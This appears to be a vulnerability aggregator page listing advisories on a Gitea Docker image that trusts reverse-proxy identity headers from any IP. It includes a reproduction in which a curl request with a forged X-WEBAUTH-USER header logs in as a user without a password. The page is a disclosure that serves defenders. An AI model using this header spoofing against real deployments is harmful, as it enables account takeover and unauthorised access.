EUVD-2026-333759

fkie_cve-2026-20896

Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.

GHSA-f75j-4cw6-rmx4 — Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-…

Affected: Go: code.gitea.io/gitea

# Summary

The Gitea Docker images ship an `app.ini` template that hard-codes:

``` REVERSE_PROXY_TRUSTED_PROXIES = * ```

The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.

When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.

## Affected

- `gitea/gitea` Docker images (verified `1.26.2`) - `docker/root/etc/templates/app.ini:55` - `docker/rootless/etc/templates/app.ini:52`

Binary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.

## Reproduction

``` docker run -d --name g -p 3000:3000 \ -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \ -e GITEA__security__INSTALL_LOCK=true \ gitea/gitea:1.26.2

sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email alice@x.test --must-change-password=false

Now the attack::

curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '<title>[^<]+</title>' ```

Output: `<title>alice - Dashboard - Gitea: Git with a cup of tea</title>` — attacker is logged in as alice with one header, no password,…

WID-SEC-W-2026-2027 — Gitea: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um erweiterte Berechtigungen zu erlangen, sich als Benutzer auszugeben, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.

Most recent entries from all

bdu:2026-09304

EUVD-2026-333759

fkie_cve-2026-20896

GHSA-f75j-4cw6-rmx4 — Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-…

WID-SEC-W-2026-2027 — Gitea: Mehrere Schwachstellen